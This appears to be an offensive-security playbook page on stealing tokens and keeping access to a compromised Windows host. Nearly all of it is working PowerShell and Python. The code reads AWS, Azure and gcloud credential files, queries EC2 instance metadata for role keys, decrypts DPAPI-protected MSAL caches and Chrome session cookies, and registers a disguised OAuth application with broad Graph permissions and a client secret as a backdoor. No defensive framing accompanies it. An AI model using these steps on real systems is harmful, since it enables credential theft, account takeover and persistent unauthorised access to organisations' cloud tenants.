Token theft and identity persistence¶
Harvesting refresh tokens and session cookies from a compromised host and using them to establish persistent access independent of the user’s password.
Locate token storage¶
On Windows, identify which cloud and SaaS services the user accesses:
# check for cloud CLI credential files
$credPaths = @(
"$env:USERPROFILE\.aws\credentials",
"$env:USERPROFILE\.aws\config",
"$env:USERPROFILE\.azure\accessTokens.json",
"$env:USERPROFILE\.azure\msal_token_cache.json",
"$env:APPDATA\gcloud\credentials.db",
"$env:APPDATA\gcloud\access_tokens.db",
"$env:LOCALAPPDATA\.IdentityService\msal.cache"
)
foreach ($p in $credPaths) {
if (Test-Path $p) { Write-Output "Found: $p" }
}
# check Windows Credential Manager for web credentials
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | Select-Object Resource, UserName
Extract AWS credentials¶
# AWS CLI stores long-term credentials in plaintext
Get-Content "$env:USERPROFILE\.aws\credentials"
# EC2 instance metadata: temporary credentials for the attached IAM role
# accessible from any process on the instance without authentication
$meta = Invoke-WebRequest -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' -UseBasicParsing
$role = $meta.Content
$creds = Invoke-WebRequest -Uri "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" -UseBasicParsing | ConvertFrom-Json
Write-Output "AccessKeyId: $($creds.AccessKeyId)"
Write-Output "SecretAccessKey: $($creds.SecretAccessKey)"
Write-Output "Token: $($creds.Token)"
Write-Output "Expiration: $($creds.Expiration)"
Instance metadata credentials expire but are automatically rotated. For persistent access, use the temporary credentials to create a long-term IAM user or role.
Extract Azure tokens¶
# Azure CLI token cache (plaintext JSON on older versions)
Get-Content "$env:USERPROFILE\.azure\accessTokens.json" | ConvertFrom-Json |
Select-Object tokenType, expiresOn, resource, accessToken, refreshToken
# MSAL cache (newer Azure CLI and Office apps): encrypted with DPAPI
# requires running as the same user; decrypt with:
Add-Type -AssemblyName System.Security
$encrypted = [System.IO.File]::ReadAllBytes("$env:LOCALAPPDATA\.IdentityService\msal.cache")
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[System.Text.Encoding]::UTF8.GetString($decrypted)
Extract browser session cookies¶
Browser session cookies for Microsoft 365, Google Workspace, and other SaaS platforms:
import sqlite3, shutil, os, json
# Chrome cookies (copy first; browser locks the file)
src = os.path.expandvars(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies')
dst = r'C:\Temp\cookies.db'
shutil.copy2(src, dst)
conn = sqlite3.connect(dst)
c = conn.cursor()
c.execute("""
SELECT host_key, name, encrypted_value, expires_utc
FROM cookies
WHERE host_key LIKE '%.microsoft.com'
OR host_key LIKE '%.google.com'
OR host_key LIKE '%.github.com'
""")
import ctypes, ctypes.wintypes
for host, name, encrypted_value, expires in c.fetchall():
# decrypt with DPAPI (same user context required)
class DATA_BLOB(ctypes.Structure):
_fields_ = [("cbData", ctypes.wintypes.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
# (full DPAPI decrypt implementation via CryptUnprotectData)
print(f"{host}: {name}")
Establish OAuth application backdoor¶
Using the compromised user’s token, create a persistent OAuth application:
import requests
# using a Microsoft Graph access token
headers = {'Authorization': f'Bearer {access_token}', 'Content-Type': 'application/json'}
# create a new application registration
app_data = {
'displayName': 'Azure Monitor Connector',
'signInAudience': 'AzureADMyOrg',
'requiredResourceAccess': [{
'resourceAppId': '00000003-0000-0000-c000-000000000000', # Microsoft Graph
'resourceAccess': [
{'id': 'e1fe6dd8-ba31-4d61-89e7-88639da4683d', 'type': 'Scope'}, # User.Read
{'id': '62a82d76-70ea-4822-8064-2eb4c9f59d40', 'type': 'Role'}, # Group.ReadWrite.All
]
}]
}
r = requests.post('https://graph.microsoft.com/v1.0/applications', headers=headers, json=app_data)
app_id = r.json()['appId']
obj_id = r.json()['id']
# add a client secret
secret_data = {'passwordCredential': {'displayName': 'sync-key', 'endDateTime': '2027-01-01T00:00:00Z'}}
r = requests.post(f'https://graph.microsoft.com/v1.0/applications/{obj_id}/addPassword',
headers=headers, json=secret_data)
client_secret = r.json()['secretText']
print(f'App ID: {app_id}')
print(f'Client Secret: {client_secret}')
# use these for persistent access independent of the compromised user
Verify and maintain access¶
# test the OAuth app credentials
r = requests.post(
f'https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token',
data={
'client_id': app_id,
'client_secret': client_secret,
'grant_type': 'client_credentials',
'scope': 'https://graph.microsoft.com/.default'
}
)
token = r.json().get('access_token')
if token:
print('Persistent access confirmed')
Monitor the application registration’s expiry date. Client secrets expire; schedule rotation before expiry (or set the maximum allowed lifetime at creation).